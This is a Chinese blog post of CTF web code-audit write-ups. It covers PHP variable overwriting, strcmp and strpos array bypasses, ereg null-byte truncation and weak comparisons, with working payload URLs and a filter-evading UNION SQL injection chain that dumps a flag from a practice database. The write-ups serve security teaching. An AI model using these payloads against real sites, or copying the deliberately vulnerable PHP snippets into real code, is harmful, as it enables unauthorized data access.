CTF web 代码审计

 概念

代码审计就是通过阅读程序的源代码,去发现一些潜在的问题,比如说代码不规范,算法性能不够,代码重用性不强,实现不够优雅以及其它的缺陷等等.

从安全人员的角度来看,偏向于查找代码中的是否存在安全问题.比如通过阅读代码,推断出用户在操作这个代码对应的功能的时候,是否能跳出开发人员设想的场景和逻辑,去给网站数据或者服务器造成危害.

ctf中代码审计总结

CTF之代码审计汇总

代码审计中的变量覆盖

PHP addslashes() 函数

变量覆盖

 

1.题目地址http://123.206.87.240:8004/index1.php

 

eval()函数存在命令执行漏洞  我们的目标是查看flag1.php中的flag 首先想到的是本地包含漏洞查看源码,或者上传一句话木马等思路 。而本题条件判断加了正则表达式判断,过滤了括号和引号等字符。无法构造!但输出时是$$args

我们想到构造 php中超全局变量 $GLOBALS  ,PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。var_dump()函数将$GLOBALS数组中存放的所有变量以数组的方式输出 得到flag!

Payload: http://123.206.87.240:8004/index1.php?args=GLOBALS

 

2.题目地址:http://123.206.87.240:9009/1.php

 

 

运行结果:$a = Cat; $b = Dog; $c = Horse

加上转义符反斜杠后,php就会认为那只是个字符而已!

解题方法:

 

GET请求?flag=&shiyan=,extract()会将$flag和$gift的值覆盖了,将变量的值设置为空或者不存在的文件就满足$gift == $content

 

PAYLOAD:http://123.206.87.240:9009/1.php?flag=&shiyan=

 

3.题目地址:http://123.206.87.240:9009/6.php

 

 

PHP的strcmp()函数在PHP5.3版本之前使用数组可以绕过验证

strcmp()用法参考

函数期望传入的类型是字符串类型的数据,要是我们传入非字符串类型的数据的话,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 。也就是说虽然报了错,但却判定其相等了,也就绕过了判断。

 

PAYLOAD: http://120.24.86.145:9009/6.php?a[]=1

4.题目地址: http://123.206.87.240:9009/10.php

 

 

PHP 函数 eregi()

语法
int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

返回值
如果匹配成功返回true,否则,则返回false

PAYLOAD:

http://123.206.87.240:9009/10.php?

id=hackerD%254a

题目:ereg正则%00截断,http://123.206.87.240:9009/5.php

<?php
$flag = "xxx";
if (isset ($_GET['password'])){
     if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){
       echo 'You password must be alphanumeric';
}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
     if (strpos ($_GET['password'], '-') !== FALSE) { //strpos — 查找字符串首次出现的位置
        die('Flag: ' . $flag);
     }else{
       echo('- have not been found');
       }
}else{echo 'Invalid password'; }
}
?>

Payload:http://123.206.87.240:9009/5.php?password=1e8%00*-*

题目:strpos数组绕过,http://123.206.87.240:9009/15.php

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
    if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
       echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
       die('Flag: '.$flag);
else echo '骚年,继续努力吧啊~';
}
?>

ereg正则截断(代码审计)

题目:弱类型整数大小比较绕过,http://123.206.87.240:9009/22.php

 

PHP  有一个缺陷就是大多数的函数都没有办法去判断数组。

关于php弱类型以及绕过方式:当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整型的范围之内该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

 

5.题目地址:http://web.jarvisoj.com:32780/

代码审计

id:id==0典型的PHP弱比较,利用id=0a或id=0e123或id=asd均可实现绕过

b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%0011111

此处链接一篇博客可供参考:https://blog.csdn.net/qq_31481187/article/details/60968595

 

 

a:由data进行赋值:$data = @file_get_contents($a,'r') 而又有$data=="1112 is a nice lab!" 可以利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥, 参数a使用data类型的url构造:a=data:,1112 is a nice lab!(参考data类型的Url格式:把小数据直接嵌入到Url中)

payload:http://web.jarvisoj.com:32780/index.php?id=0a&a=data:,1112%20is%20a%20nice%20lab!&b=%0011111

得到提示Come ON!!! {/^HT2mCpcvOLf},访问/^HT2mCpcvOLf,提示hi666。且url变成了/^HT2mCpcvOLf/index.php?id=1,继续sql注入。

尝试id=2,提示:SELECT * FROM content WHERE id=2,说明和id作比较的是一个数字,而不是字符串。

尝试id=1 order by 1,提示you bad boy/girl!,发现空格被过滤了,将空格替换成/**/后,发现/**/也被过滤了,将空格替换为/*1*/,返回hi666;继续尝试,id=1/*1*/order/*1*/by/*1*/4时出现错误,说明一共三列。

尝试id=2/*1*/union/*1*/select/*1*/1,2,database()发现union和select都被替换为空了,双写即可绕过id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,database()返回test

得到表名:

id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()

//content

得到列(字段)名:

id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database()

//id,context,title

得到flag:

id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,context/*1*/frfromom/*1*/content

//PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

schema就是数据库对象的集合,所谓的数据库对象也就是常说的表,索引,视图,存储过程等

 

https://blog.csdn.net/qq1045553189/article/details/87481055

 

posted @ 2020-10-11 17:20  y2ng12e  阅读(681)  评论(0)    收藏  举报